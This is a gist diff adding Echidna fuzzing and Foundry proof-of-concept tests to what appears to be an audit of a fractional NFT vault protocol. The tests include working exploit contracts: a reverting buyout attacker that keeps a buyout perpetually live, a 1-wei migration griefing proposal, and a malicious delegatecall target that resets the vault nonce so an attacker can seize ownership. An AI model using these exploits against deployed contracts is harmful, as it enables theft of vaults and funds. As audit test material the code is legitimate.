Created
July 19, 2022 09:50
-
-
Save sseefried/b198ecfc730fc5f829ee236132feda3a to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
diff --git a/echidna/.gitignore b/echidna/.gitignore | |
new file mode 100644 | |
index 0000000..ccaff16 | |
--- /dev/null | |
+++ b/echidna/.gitignore | |
@@ -0,0 +1,2 @@ | |
+e2e-cvg* | |
+crytic-export/ | |
diff --git a/echidna/Echidna.sol b/echidna/Echidna.sol | |
new file mode 100644 | |
index 0000000..f565461 | |
--- /dev/null | |
+++ b/echidna/Echidna.sol | |
@@ -0,0 +1,51 @@ | |
+// SPDX-License-Identifier: MIT | |
+pragma solidity 0.8.13; | |
+ | |
+import "./MerkleBase.sol"; | |
+ | |
+contract Echidna { | |
+ | |
+ MerkleBase merkle; | |
+ constructor() { | |
+ merkle = new MerkleBase(); | |
+ } | |
+ | |
+ // function testLeaves(bytes32[] memory leaves, uint256 seed) public { | |
+ // require(leaves.length > 10); | |
+ // uint256 node = seed % leaves.length; | |
+ // for (uint256 i = 0; i < leaves.length; i++) { | |
+ // require(uint256(leaves[i]) > 0); | |
+ // } | |
+ // bytes32[] memory proof = merkle.getProof(leaves, node); | |
+ // bytes32 root = merkle.getRoot(leaves); | |
+ // assert(merkle.verifyProof(root, proof, leaves[node])); | |
+ // } | |
+ | |
+ bytes32 lastHash = bytes32(0); | |
+ | |
+ | |
+ function toBytes(uint256 x) internal returns (bytes memory b) { | |
+ b = new bytes(32); | |
+ assembly { mstore(add(b, 32), x) } | |
+} | |
+ function nextValue() internal returns (bytes32) { | |
+ lastHash = keccak256(toBytes(uint256(lastHash) + 1)); | |
+ return lastHash; | |
+ } | |
+ | |
+ | |
+ function testLeaves(uint256 seed) public { | |
+ uint256 len = seed % 200; | |
+ bytes32[] memory leaves = new bytes32[](len); | |
+ for (uint i = 0; i < len; i++) { | |
+ leaves[i] = nextValue(); | |
+ } | |
+ uint256 node = seed % len; | |
+ | |
+ bytes32[] memory proof = merkle.getProof(leaves, node); | |
+ bytes32 root = merkle.getRoot(leaves); | |
+ assert(merkle.verifyProof(root, proof, leaves[node])); | |
+ } | |
+ | |
+ | |
+} | |
diff --git a/echidna/MerkleBase.sol b/echidna/MerkleBase.sol | |
new file mode 100644 | |
index 0000000..b2e10f0 | |
--- /dev/null | |
+++ b/echidna/MerkleBase.sol | |
@@ -0,0 +1,193 @@ | |
+// SPDX-License-Identifier: MIT | |
+pragma solidity 0.8.13; | |
+ | |
+/// @title Merkle Base | |
+/// @author Modified from Murky (https://github.com/dmfxyz/murky/blob/main/src/common/MurkyBase.sol) | |
+/// @notice Utility contract for generating merkle roots and verifying proofs | |
+contract MerkleBase { | |
+ constructor() {} | |
+ | |
+ /// @notice Hashes two leaf pairs | |
+ /// @param _left Node on left side of tree level | |
+ /// @param _right Node on right side of tree level | |
+ /// @return data Result hash of node params | |
+ function hashLeafPairs(bytes32 _left, bytes32 _right) | |
+ public | |
+ pure | |
+ returns (bytes32 data) | |
+ { | |
+ // Return opposite node if checked node is of bytes zero value | |
+ if (_left == bytes32(0)) return _right; | |
+ if (_right == bytes32(0)) return _left; | |
+ | |
+ assembly { | |
+ // TODO: This can be aesthetically simplified with a switch. Not sure it will | |
+ // save much gas but there are other optimizations to be had in here. | |
+ if or(lt(_left, _right), eq(_left, _right)) { | |
+ mstore(0x0, _left) | |
+ mstore(0x20, _right) | |
+ } | |
+ if gt(_left, _right) { | |
+ mstore(0x0, _right) | |
+ mstore(0x20, _left) | |
+ } | |
+ data := keccak256(0x0, 0x40) | |
+ } | |
+ } | |
+ | |
+ /// @notice Verifies the merkle proof of a given value | |
+ /// @param _root Hash of merkle root | |
+ /// @param _proof Merkle proof | |
+ /// @param _valueToProve Leaf node being proven | |
+ /// @return Status of proof verification | |
+ function verifyProof( | |
+ bytes32 _root, | |
+ bytes32[] memory _proof, | |
+ bytes32 _valueToProve | |
+ ) public pure returns (bool) { | |
+ // proof length must be less than max array size | |
+ bytes32 rollingHash = _valueToProve; | |
+ unchecked { | |
+ for (uint256 i = 0; i < _proof.length; ++i) { | |
+ rollingHash = hashLeafPairs(rollingHash, _proof[i]); | |
+ } | |
+ } | |
+ return _root == rollingHash; | |
+ } | |
+ | |
+ /// @notice Generates the merkle root of a tree | |
+ /// @param _data Leaf nodes of the merkle tree | |
+ /// @return Hash of merkle root | |
+ function getRoot(bytes32[] memory _data) public pure returns (bytes32) { | |
+ require(_data.length > 1, "wont generate root for single leaf"); | |
+ while (_data.length > 1) { | |
+ _data = hashLevel(_data); | |
+ } | |
+ return _data[0]; | |
+ } | |
+ | |
+ /// @notice Generates the merkle proof for a leaf node in a given tree | |
+ /// @param _data Leaf nodes of the merkle tree | |
+ /// @param _node Index of the node in the tree | |
+ /// @return Merkle proof | |
+ function getProof(bytes32[] memory _data, uint256 _node) | |
+ public | |
+ pure | |
+ returns (bytes32[] memory) | |
+ { | |
+ require(_data.length > 1, "wont generate proof for single leaf"); | |
+ // The size of the proof is equal to the ceiling of log2(numLeaves) | |
+ uint256 size = log2ceil_naive(_data.length); | |
+ bytes32[] memory result = new bytes32[](size); | |
+ uint256 pos; | |
+ uint256 counter; | |
+ | |
+ // Two overflow risks: node, pos | |
+ // node: max array size is 2**256-1. Largest index in the array will be 1 less than that. Also, | |
+ // for dynamic arrays, size is limited to 2**64-1 | |
+ // pos: pos is bounded by log2(data.length), which should be less than type(uint256).max | |
+ while (_data.length > 1) { | |
+ unchecked { | |
+ if (_node % 2 == 1) { | |
+ result[pos] = _data[_node - 1]; | |
+ } else if (_node + 1 == _data.length) { | |
+ result[pos] = bytes32(0); | |
+ ++counter; | |
+ } else { | |
+ result[pos] = _data[_node + 1]; | |
+ } | |
+ ++pos; | |
+ _node = _node / 2; | |
+ } | |
+ _data = hashLevel(_data); | |
+ } | |
+ | |
+ // Dynamic array to filter out address(0) since proof size is rounded up | |
+ // This is done to return the actual proof size of the indexed node | |
+ bytes32[] memory arr = new bytes32[](size - counter); | |
+ unchecked { | |
+ uint256 offset; | |
+ for (uint256 i; i < result.length; ++i) { | |
+ if (result[i] != bytes32(0)) { | |
+ arr[i - offset] = result[i]; | |
+ } else { | |
+ ++offset; | |
+ } | |
+ } | |
+ } | |
+ | |
+ return arr; | |
+ } | |
+ | |
+ /// @dev Hashes nodes at the given tree level | |
+ /// @param _data Nodes at the current level | |
+ /// @return result Hashes of nodes at the next level | |
+ function hashLevel(bytes32[] memory _data) | |
+ private | |
+ pure | |
+ returns (bytes32[] memory result) | |
+ { | |
+ // Function is private, and all internal callers check that data.length >=2. | |
+ // Underflow is not possible as lowest possible value for data/result index is 1 | |
+ // overflow should be safe as length is / 2 always. | |
+ unchecked { | |
+ uint256 length = _data.length; | |
+ if (length & 0x1 == 1) { | |
+ result = new bytes32[](length / 2 + 1); | |
+ result[result.length - 1] = hashLeafPairs( | |
+ _data[length - 1], | |
+ bytes32(0) | |
+ ); | |
+ } else { | |
+ result = new bytes32[](length / 2); | |
+ } | |
+ | |
+ // pos is upper bounded by data.length / 2, so safe even if array is at max size | |
+ uint256 pos; | |
+ for (uint256 i; i < length - 1; i += 2) { | |
+ result[pos] = hashLeafPairs(_data[i], _data[i + 1]); | |
+ ++pos; | |
+ } | |
+ } | |
+ } | |
+ | |
+ /// @notice Calculates proof size based on size of tree | |
+ /// @dev Note that x is assumed > 0 and proof size is not precise | |
+ /// @param x Size of the merkle tree | |
+ /// @return ceil Rounded value of proof size | |
+ function log2ceil_naive(uint256 x) public pure returns (uint256 ceil) { | |
+ uint256 pOf2; | |
+ // If x is a power of 2, then this function will return a ceiling | |
+ // that is 1 greater than the actual ceiling. So we need to check if | |
+ // x is a power of 2, and subtract one from ceil if so. | |
+ assembly { | |
+ // we check by seeing if x == (~x + 1) & x. This applies a mask | |
+ // to find the lowest set bit of x and then checks it for equality | |
+ // with x. If they are equal, then x is a power of 2. | |
+ | |
+ /* Example | |
+ x has single bit set | |
+ x := 0000_1000 | |
+ (~x + 1) = (1111_0111) + 1 = 1111_1000 | |
+ (1111_1000 & 0000_1000) = 0000_1000 == x | |
+ x has multiple bits set | |
+ x := 1001_0010 | |
+ (~x + 1) = (0110_1101 + 1) = 0110_1110 | |
+ (0110_1110 & x) = 0000_0010 != x | |
+ */ | |
+ | |
+ // we do some assembly magic to treat the bool as an integer later on | |
+ pOf2 := eq(and(add(not(x), 1), x), x) | |
+ } | |
+ | |
+ // if x == type(uint256).max, than ceil is capped at 256 | |
+ // if x == 0, then pO2 == 0, so ceil won't underflow | |
+ unchecked { | |
+ while (x > 0) { | |
+ x >>= 1; | |
+ ceil++; | |
+ } | |
+ ceil -= pOf2; // see above | |
+ } | |
+ } | |
+} | |
diff --git a/echidna/echidna.conf.yaml b/echidna/echidna.conf.yaml | |
new file mode 100644 | |
index 0000000..b42423d | |
--- /dev/null | |
+++ b/echidna/echidna.conf.yaml | |
@@ -0,0 +1,3 @@ | |
+testMode: assertion | |
+coverage: true | |
+corpusDir: 'e2e-cvg' | |
\ No newline at end of file | |
diff --git a/echidna/run-echidna.sh b/echidna/run-echidna.sh | |
new file mode 100755 | |
index 0000000..f6203b8 | |
--- /dev/null | |
+++ b/echidna/run-echidna.sh | |
@@ -0,0 +1,3 @@ | |
+#!/bin/bash | |
+ | |
+echidna-test Echidna.sol --config ./echidna.conf.yaml --test-limit 300000 | |
diff --git a/src/modules/MaliciousMod.sol b/src/modules/MaliciousMod.sol | |
new file mode 100644 | |
index 0000000..10162a0 | |
--- /dev/null | |
+++ b/src/modules/MaliciousMod.sol | |
@@ -0,0 +1,56 @@ | |
+// SPDX-License-Identifier: MIT | |
+pragma solidity 0.8.13; | |
+ | |
+import {IVault} from "../interfaces/IVault.sol"; | |
+import {IVaultRegistry, Permission} from "../interfaces/IVaultRegistry.sol"; | |
+import "../targets/Malicious.sol"; | |
+ | |
+contract MaliciousMod { | |
+ | |
+ Malicious malicious; | |
+ | |
+ constructor(address _malicious) { | |
+ malicious = Malicious(_malicious); | |
+ } | |
+ | |
+ /// @dev Callback for receiving ether when the calldata is empty | |
+ receive() external payable {} | |
+ | |
+ function setIndex(address vault, | |
+ uint256 i, | |
+ bytes32 val, | |
+ bytes32[] calldata setIndexProof) external { | |
+ bytes memory data = abi.encodeCall(malicious.setIndex, (i, val)); | |
+ | |
+ IVault(payable(vault)).execute(address(malicious), data, setIndexProof); | |
+ } | |
+ | |
+ | |
+ function getLeafNodes() external view returns (bytes32[] memory nodes) { | |
+ Permission[] memory permissions = getPermissions(); | |
+ nodes = new bytes32[](permissions.length); | |
+ for (uint256 i; i < permissions.length; ) { | |
+ // Hashes permission into leaf node | |
+ nodes[i] = keccak256(abi.encode(permissions[i])); | |
+ // Can't overflow since loop is a fixed size | |
+ unchecked { | |
+ ++i; | |
+ } | |
+ } | |
+ } | |
+ | |
+ function getPermissions() | |
+ public | |
+ view | |
+ returns (Permission[] memory permissions) | |
+ { | |
+ permissions = new Permission[](1); | |
+ | |
+ permissions[0] = Permission( | |
+ address(this), | |
+ address(malicious), | |
+ malicious.setIndex.selector | |
+ ); | |
+ } | |
+ | |
+} | |
\ No newline at end of file | |
diff --git a/src/targets/Malicious.sol b/src/targets/Malicious.sol | |
new file mode 100644 | |
index 0000000..d82ed34 | |
--- /dev/null | |
+++ b/src/targets/Malicious.sol | |
@@ -0,0 +1,42 @@ | |
+// SPDX-License-Identifier: MIT | |
+pragma solidity 0.8.13; | |
+ | |
+contract Malicious { | |
+ | |
+ bytes32 slot0; | |
+ bytes32 slot1; | |
+ bytes32 slot2; | |
+ bytes32 slot3; | |
+ bytes32 slot4; | |
+ bytes32 slot5; | |
+ bytes32 slot6; | |
+ bytes32 slot7; | |
+ bytes32 slot8; | |
+ bytes32 slot9; | |
+ | |
+ function setIndex(uint256 i, bytes32 val) public { | |
+ require (i < 10); | |
+ if (i == 0) { | |
+ slot0 = val; | |
+ } else if (i == 1) { | |
+ slot1 = val; | |
+ } else if (i == 2) { | |
+ slot2 = val; | |
+ } else if (i == 3) { | |
+ slot3 = val; | |
+ } else if (i == 4) { | |
+ slot4 = val; | |
+ } else if (i == 5) { | |
+ slot5 = val; | |
+ } else if (i == 6) { | |
+ slot6 = val; | |
+ } else if (i == 7) { | |
+ slot7 = val; | |
+ } else if (i == 8) { | |
+ slot8 = val; | |
+ } else if (i == 9) { | |
+ slot9 = val; | |
+ } | |
+ } | |
+ | |
+} | |
\ No newline at end of file | |
diff --git a/test/BugsBuyout.t.sol b/test/BugsBuyout.t.sol | |
new file mode 100644 | |
index 0000000..8b1c978 | |
--- /dev/null | |
+++ b/test/BugsBuyout.t.sol | |
@@ -0,0 +1,77 @@ | |
+// SPDX-License-Identifier: Unlicense | |
+pragma solidity 0.8.13; | |
+ | |
+import "./BuyoutReverter.sol"; | |
+import "./TestUtil.sol"; | |
+import "../src/targets/Supply.sol"; | |
+ | |
+contract BuyoutTest is TestUtil { | |
+ /// ================= | |
+ /// ===== SETUP ===== | |
+ /// ================= | |
+ function setUp() public { | |
+ setUpContract(); | |
+ alice = setUpUser(111, 1); | |
+ bob = setUpUser(222, 2); | |
+ | |
+ vm.label(address(this), "BuyoutTest"); | |
+ vm.label(alice.addr, "Alice"); | |
+ vm.label(bob.addr, "Bob"); | |
+ } | |
+ | |
+ /// ====================== | |
+ /// ===== END BUYOUT ===== | |
+ /// ====================== | |
+ // function testBugs1() public { | |
+ // initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
+ | |
+ // bob.buyoutModule.start{value: 1 ether}(vault); | |
+ // alice.buyoutModule.sellFractions(vault, 1000); | |
+ // vm.warp(rejectionPeriod + 1); | |
+ | |
+ // assertEq(getFractionBalance(bob.addr), 0); | |
+ // assertEq(getFractionBalance(buyout), 6000); | |
+ | |
+ // vm.startPrank(IVault(vault).owner()); | |
+ // IVault(vault).transferOwnership(bob.addr); | |
+ // vm.stopPrank(); | |
+ | |
+ // bob.buyoutModule.end(vault, burnProof); | |
+ | |
+ // assertEq(getFractionBalance(bob.addr), 0); | |
+ // assertEq(getFractionBalance(buyout), 0); | |
+ // } | |
+ | |
+ function testPerpetualBuyoutBug() public { | |
+ initializeBuyout(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
+ | |
+ address buyoutUnderlying = bob.buyoutModule.proxyContract(); | |
+ | |
+ BuyoutReverter buyoutReverter = new BuyoutReverter(vault, buyoutUnderlying); | |
+ | |
+ assert(bob.addr != address(buyoutReverter)); | |
+ | |
+ (address token,) = registry.vaultToToken(vault); | |
+ | |
+ vm.startPrank(address(buyoutReverter)); | |
+ FERC1155(token).setApprovalForAll(buyoutUnderlying, true); | |
+ vm.stopPrank(); | |
+ | |
+ // ATTAAAAAAAAAAAAAACK! | |
+ buyoutReverter.attack{value: 1 ether}(); | |
+ | |
+ (,address proposer,,,,) = bob.buyoutModule.buyoutInfo(vault); | |
+ assertEq(proposer, address(buyoutReverter)); | |
+ | |
+ vm.warp(rejectionPeriod + 1); | |
+ | |
+ IBuyout(buyoutModule).end(vault, burnProof); | |
+ | |
+ (,,State state,,,) = bob.buyoutModule.buyoutInfo(vault); | |
+ | |
+ // The buyout proposal is still LIVE! | |
+ assertEq(uint256(state), uint256(State.LIVE)); | |
+ } | |
+ | |
+ | |
+} | |
diff --git a/test/BugsMigration.t.sol b/test/BugsMigration.t.sol | |
new file mode 100644 | |
index 0000000..5d078e7 | |
--- /dev/null | |
+++ b/test/BugsMigration.t.sol | |
@@ -0,0 +1,66 @@ | |
+// SPDX-License-Identifier: Unlicense | |
+pragma solidity 0.8.13; | |
+ | |
+import "./TestUtil.sol"; | |
+import "../src/interfaces/IMigration.sol"; | |
+ | |
+contract MigrationTest is TestUtil { | |
+ /// ================= | |
+ /// ===== SETUP ===== | |
+ /// ================= | |
+ function setUp() public { | |
+ setUpContract(); | |
+ alice = setUpUser(111, 1); | |
+ bob = setUpUser(222, 2); | |
+ | |
+ vm.label(address(this), "MigrateTest"); | |
+ vm.label(alice.addr, "Alice"); | |
+ vm.label(bob.addr, "Bob"); | |
+ } | |
+ | |
+ function testGriefCommit() public { | |
+ vm.warp(1657692668389); | |
+ initializeMigration(alice, bob, TOTAL_SUPPLY, HALF_SUPPLY, true); | |
+ (nftReceiverSelectors, nftReceiverPlugins) = initializeNFTReceiver(); | |
+ | |
+ address[] memory modules = new address[](1); | |
+ modules[0] = address(mockModule); | |
+ // Bob makes the proposal | |
+ bob.migrationModule.propose( | |
+ vault, | |
+ modules, | |
+ nftReceiverPlugins, | |
+ nftReceiverSelectors, | |
+ TOTAL_SUPPLY * 2, | |
+ 1 ether | |
+ ); | |
+ // Bob joins the proposal | |
+ bob.migrationModule.join{value: 1 ether}(vault, 1, HALF_SUPPLY); | |
+ | |
+ // Alice submits a spurious proposal with a low target price | |
+ // that she can easily provide | |
+ alice.migrationModule.propose( | |
+ vault, | |
+ modules, | |
+ nftReceiverPlugins, | |
+ nftReceiverSelectors, | |
+ TOTAL_SUPPLY * 2, | |
+ 1 wei | |
+ ); | |
+ | |
+ alice.migrationModule.join{value: 2 wei}(vault, 2, 0); | |
+ bool aliceStarted = alice.migrationModule.commit(vault, 2); | |
+ assertTrue(aliceStarted); | |
+ | |
+ // Bob cannot `commit` now since a buyout for a spurious | |
+ // proposal has been made. | |
+ vm.expectRevert(abi.encodeWithSelector( | |
+ IBuyout.InvalidState.selector, | |
+ State.INACTIVE, | |
+ State.LIVE)); | |
+ bob.migrationModule.commit(vault, 1); | |
+ | |
+ } | |
+ | |
+ | |
+} | |
diff --git a/test/BuyoutReverter.sol b/test/BuyoutReverter.sol | |
new file mode 100644 | |
index 0000000..3837c9b | |
--- /dev/null | |
+++ b/test/BuyoutReverter.sol | |
@@ -0,0 +1,36 @@ | |
+// SPDX-License-Identifier: Unlicense | |
+pragma solidity 0.8.13; | |
+ | |
+import "../src/interfaces/IBuyout.sol"; | |
+import "../src/interfaces/IVault.sol"; | |
+ | |
+contract BuyoutReverter { | |
+ | |
+ IVault vault; | |
+ IBuyout buyoutModule; | |
+ | |
+ constructor(address _vault, address _buyoutModule) { | |
+ vault = IVault(_vault); | |
+ buyoutModule = IBuyout(_buyoutModule); | |
+ | |
+ } | |
+ | |
+ function attack() external payable { | |
+ buyoutModule.start{value: msg.value}(address(vault)); | |
+ } | |
+ | |
+ function onERC1155Received( | |
+ address /*operator*/, | |
+ address /*from*/, | |
+ uint256 /*id*/, | |
+ uint256 /*value*/, | |
+ bytes calldata /*data*/) external pure returns (bytes4) { | |
+ return bytes4(0xf23a6e61); | |
+ } | |
+ | |
+ receive() payable external { | |
+ buyoutModule.start{value: msg.value}(address(vault)); | |
+ | |
+ } | |
+ | |
+} | |
\ No newline at end of file | |
diff --git a/test/Malicious.t.sol b/test/Malicious.t.sol | |
new file mode 100644 | |
index 0000000..95bca8e | |
--- /dev/null | |
+++ b/test/Malicious.t.sol | |
@@ -0,0 +1,78 @@ | |
+// SPDX-License-Identifier: Unlicense | |
+pragma solidity 0.8.13; | |
+ | |
+import "forge-std/Test.sol"; | |
+import "../src/targets/Malicious.sol"; | |
+import "./MaliciousTestUtil.sol"; | |
+ | |
+contract Unwise { | |
+ | |
+ uint256 public blah; | |
+ address public test; | |
+ | |
+ function callUnwisely(address target, bytes calldata data) public { | |
+ uint256 stipend = gasleft() - 5000; | |
+ (bool success,) = target.delegatecall{gas: stipend}(data); | |
+ require(success); | |
+ } | |
+ | |
+} | |
+ | |
+contract MaliciousTest is MaliciousTestUtil { | |
+ | |
+ Unwise unwise; | |
+ Malicious malicious; | |
+ | |
+ /// ================= | |
+ /// ===== SETUP ===== | |
+ /// ================= | |
+ function setUp() public { | |
+ malicious = new Malicious(); | |
+ unwise = new Unwise(); | |
+ | |
+ setUpContract(); | |
+ alice = setUpUser(111, 1); | |
+ bob = setUpUser(222, 2); | |
+ | |
+ vm.label(address(this), "MaliciousTest"); | |
+ vm.label(alice.addr, "Alice"); | |
+ vm.label(bob.addr, "Bob"); | |
+ } | |
+ | |
+ function testMalicious() public { | |
+ bytes memory data = abi.encodeCall(malicious.setIndex, (0, bytes32(uint256(42)))); | |
+ assertEq(unwise.blah(), 0); | |
+ unwise.callUnwisely(address(malicious), data); | |
+ assertEq(unwise.blah(), 42); | |
+ | |
+ | |
+ data = abi.encodeCall(malicious.setIndex, (1, bytes32(uint256(0xcafebabe)))); | |
+ assertEq(unwise.test(), address(0)); | |
+ unwise.callUnwisely(address(malicious), data); | |
+ assertEq(unwise.test(), address(uint160(0xcafebabe))); | |
+ } | |
+ | |
+ | |
+ function testMaliciousModule() public { | |
+ initializeMalicious(alice); | |
+ | |
+ vm.startPrank(bob.addr); // Let's be Bob | |
+ | |
+ // set the nonce back to 0 | |
+ maliciousModule.setIndex(vault, 2, bytes32(uint256(0)), setIndexProof); | |
+ | |
+ // When nonce = 0 this allows anyone to call init() and become the owner | |
+ IVault(vault).init(); | |
+ | |
+ vm.stopPrank(); | |
+ | |
+ // Bob is now the owner of the vault! | |
+ assertEq(IVault(vault).owner(), bob.addr); | |
+ | |
+ | |
+ } | |
+ | |
+ | |
+ | |
+ | |
+} | |
diff --git a/test/MaliciousTestUtil.sol b/test/MaliciousTestUtil.sol | |
new file mode 100644 | |
index 0000000..ff37a49 | |
--- /dev/null | |
+++ b/test/MaliciousTestUtil.sol | |
@@ -0,0 +1,332 @@ | |
+// SPDX-License-Identifier: MIT | |
+pragma solidity 0.8.13; | |
+ | |
+import "forge-std/Test.sol"; | |
+import {Blacksmith} from "./blacksmith/Blacksmith.sol"; | |
+import {BaseVault, BaseVaultBS} from "./blacksmith/BaseVault.bs.sol"; | |
+import {Buyout, BuyoutBS} from "./blacksmith/Buyout.bs.sol"; | |
+import {FERC1155, FERC1155BS} from "./blacksmith/FERC1155.bs.sol"; | |
+import {Metadata, MetadataBS} from "./blacksmith/Metadata.bs.sol"; | |
+import {Migration, MigrationBS} from "./blacksmith/Migration.bs.sol"; | |
+import {MaliciousMod, MaliciousModBS} from "./blacksmith/MaliciousMod.bs.sol"; | |
+import {Minter} from "../src/modules/Minter.sol"; | |
+import {MockModule} from "../src/mocks/MockModule.sol"; | |
+import {MockERC20, MockERC20BS} from "./blacksmith/MockERC20.bs.sol"; | |
+import {MockERC721, MockERC721BS} from "./blacksmith/MockERC721.bs.sol"; | |
+import {MockERC1155, MockERC1155BS} from "./blacksmith/MockERC1155.bs.sol"; | |
+import {NFTReceiver} from "../src/utils/NFTReceiver.sol"; | |
+import {Supply, SupplyBS} from "./blacksmith/Supply.bs.sol"; | |
+import {Malicious, MaliciousBS} from "./blacksmith/Malicious.bs.sol"; | |
+import {Transfer, TransferBS} from "./blacksmith/Transfer.bs.sol"; | |
+import {TransferReference} from "../src/references/TransferReference.sol"; | |
+import {Vault, VaultBS} from "./blacksmith/Vault.bs.sol"; | |
+import {VaultFactory, VaultFactoryBS} from "./blacksmith/VaultFactory.bs.sol"; | |
+import {VaultRegistry, VaultRegistryBS} from "./blacksmith/VaultRegistry.bs.sol"; | |
+import {WETH} from "@rari-capital/solmate/src/tokens/WETH.sol"; | |
+ | |
+import {IBuyout, State} from "../src/interfaces/IBuyout.sol"; | |
+import {IERC20} from "../src/interfaces/IERC20.sol"; | |
+import {IERC721} from "../src/interfaces/IERC721.sol"; | |
+import {IERC1155} from "../src/interfaces/IERC1155.sol"; | |
+import {IFERC1155} from "../src/interfaces/IFERC1155.sol"; | |
+import {IMigration} from "../src/interfaces/IMigration.sol"; | |
+import {IModule} from "../src/interfaces/IModule.sol"; | |
+import {IVault} from "../src/interfaces/IVault.sol"; | |
+import {IVaultFactory} from "../src/interfaces/IVaultFactory.sol"; | |
+import {IVaultRegistry} from "../src/interfaces/IVaultRegistry.sol"; | |
+ | |
+import "../src/constants/Permit.sol"; | |
+ | |
+contract MaliciousTestUtil is Test { | |
+ BaseVault baseVault; | |
+ Buyout buyoutModule; | |
+ Metadata metadata; | |
+ Migration migrationModule; | |
+ MaliciousMod maliciousModule; | |
+ Minter minter; | |
+ MockModule mockModule; | |
+ NFTReceiver receiver; | |
+ Supply supplyTarget; | |
+ Malicious maliciousTarget; | |
+ Transfer transferTarget; | |
+ Vault vaultProxy; | |
+ VaultRegistry registry; | |
+ WETH weth; | |
+ | |
+ FERC1155BS fERC1155; | |
+ | |
+ struct User { | |
+ address addr; | |
+ uint256 pkey; | |
+ Blacksmith base; | |
+ BaseVaultBS baseVault; | |
+ BuyoutBS buyoutModule; | |
+ MigrationBS migrationModule; | |
+ MaliciousModBS maliciousModule; | |
+ MockERC721BS erc721; | |
+ MockERC1155BS erc1155; | |
+ MockERC20BS erc20; | |
+ TransferBS transfer; | |
+ VaultRegistryBS registry; | |
+ FERC1155BS ferc1155; | |
+ VaultBS vaultProxy; | |
+ } | |
+ | |
+ User alice; | |
+ User bob; | |
+ User eve; | |
+ address buyout; | |
+ address erc20; | |
+ address erc721; | |
+ address erc1155; | |
+ address factory; | |
+ address migration; | |
+ address token; | |
+ address vault; | |
+ bool approved; | |
+ uint256 deadline; | |
+ uint256 nonce; | |
+ uint256 proposalPeriod; | |
+ uint256 rejectionPeriod; | |
+ uint256 tokenId; | |
+ | |
+ address[] modules = new address[](2); | |
+ | |
+ bytes32 merkleRoot; | |
+ bytes32[] merkleTree; | |
+ bytes32[] hashes; | |
+ bytes32[] mintProof = new bytes32[](3); | |
+ bytes32[] setIndexProof = new bytes32[](3); | |
+ | |
+ bytes4[] nftReceiverSelectors = new bytes4[](0); | |
+ address[] nftReceiverPlugins = new address[](0); | |
+ | |
+ uint256 constant INITIAL_BALANCE = 100 ether; | |
+ uint256 constant TOTAL_SUPPLY = 10000; | |
+ uint256 constant HALF_SUPPLY = TOTAL_SUPPLY / 2; | |
+ address constant WETH_ADDRESS = | |
+ address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); | |
+ | |
+ /// ================= | |
+ /// ===== USERS ===== | |
+ /// ================= | |
+ function createUser(address _addr, uint256 _privateKey) | |
+ public | |
+ returns (User memory) | |
+ { | |
+ Blacksmith base = new Blacksmith(_addr, _privateKey); | |
+ BaseVaultBS _minter = new BaseVaultBS( | |
+ _addr, | |
+ _privateKey, | |
+ address(baseVault) | |
+ ); | |
+ BuyoutBS _buyout = new BuyoutBS( | |
+ _addr, | |
+ _privateKey, | |
+ address(buyoutModule) | |
+ ); | |
+ MigrationBS _migration = new MigrationBS( | |
+ _addr, | |
+ _privateKey, | |
+ address(migrationModule) | |
+ ); | |
+ MaliciousModBS _malicious = new MaliciousModBS( | |
+ _addr, | |
+ _privateKey, | |
+ address(maliciousModule) | |
+ ); | |
+ MockERC721BS _erc721 = new MockERC721BS( | |
+ _addr, | |
+ _privateKey, | |
+ address(erc721) | |
+ ); | |
+ MockERC1155BS _erc1155 = new MockERC1155BS( | |
+ _addr, | |
+ _privateKey, | |
+ address(erc1155) | |
+ ); | |
+ MockERC20BS _erc20 = new MockERC20BS( | |
+ _addr, | |
+ _privateKey, | |
+ address(erc20) | |
+ ); | |
+ TransferBS _transfer = new TransferBS( | |
+ _addr, | |
+ _privateKey, | |
+ address(transferTarget) | |
+ ); | |
+ VaultRegistryBS _registry = new VaultRegistryBS( | |
+ _addr, | |
+ _privateKey, | |
+ address(registry) | |
+ ); | |
+ FERC1155BS _ferc1155 = new FERC1155BS(_addr, _privateKey, address(0)); | |
+ VaultBS _proxy = new VaultBS(_addr, _privateKey, address(0)); | |
+ base.deal(INITIAL_BALANCE); | |
+ return | |
+ User( | |
+ base.addr(), | |
+ base.pkey(), | |
+ base, | |
+ _minter, | |
+ _buyout, | |
+ _migration, | |
+ _malicious, | |
+ _erc721, | |
+ _erc1155, | |
+ _erc20, | |
+ _transfer, | |
+ _registry, | |
+ _ferc1155, | |
+ _proxy | |
+ ); | |
+ } | |
+ | |
+ /// ================== | |
+ /// ===== SETUPS ===== | |
+ /// ================== | |
+ function setUpContract() public { | |
+ registry = new VaultRegistry(); | |
+ supplyTarget = new Supply(address(registry)); | |
+ maliciousTarget = new Malicious(); | |
+ minter = new Minter(address(supplyTarget)); | |
+ transferTarget = new Transfer(); | |
+ receiver = new NFTReceiver(); | |
+ buyoutModule = new Buyout( | |
+ address(registry), | |
+ address(supplyTarget), | |
+ address(transferTarget) | |
+ ); | |
+ migrationModule = new Migration( | |
+ address(buyoutModule), | |
+ address(registry), | |
+ address(supplyTarget) | |
+ ); | |
+ maliciousModule = new MaliciousMod(address(maliciousTarget)); | |
+ baseVault = new BaseVault(address(registry), address(supplyTarget)); | |
+ erc20 = address(new MockERC20()); | |
+ erc721 = address(new MockERC721()); | |
+ erc1155 = address(new MockERC1155()); | |
+ | |
+ vm.label(address(registry), "VaultRegistry"); | |
+ vm.label(address(supplyTarget), "SupplyTarget"); | |
+ vm.label(address(maliciousTarget), "MaliciousTarget"); | |
+ vm.label(address(transferTarget), "TransferTarget"); | |
+ vm.label(address(baseVault), "BaseVault"); | |
+ vm.label(address(buyoutModule), "BuyoutModule"); | |
+ vm.label(address(migrationModule), "MigrationModule"); | |
+ vm.label(address(maliciousModule), "MaliciousModule"); | |
+ vm.label(address(erc20), "ERC20"); | |
+ vm.label(address(erc721), "ERC721"); | |
+ vm.label(address(erc1155), "ERC1155"); | |
+ | |
+ setUpWETH(); | |
+ setUpProof(); | |
+ } | |
+ | |
+ function setUpWETH() public { | |
+ WETH _weth = new WETH(); | |
+ bytes memory code = address(_weth).code; | |
+ vm.etch(WETH_ADDRESS, code); | |
+ weth = WETH(payable(WETH_ADDRESS)); | |
+ | |
+ vm.label(WETH_ADDRESS, "WETH"); | |
+ } | |
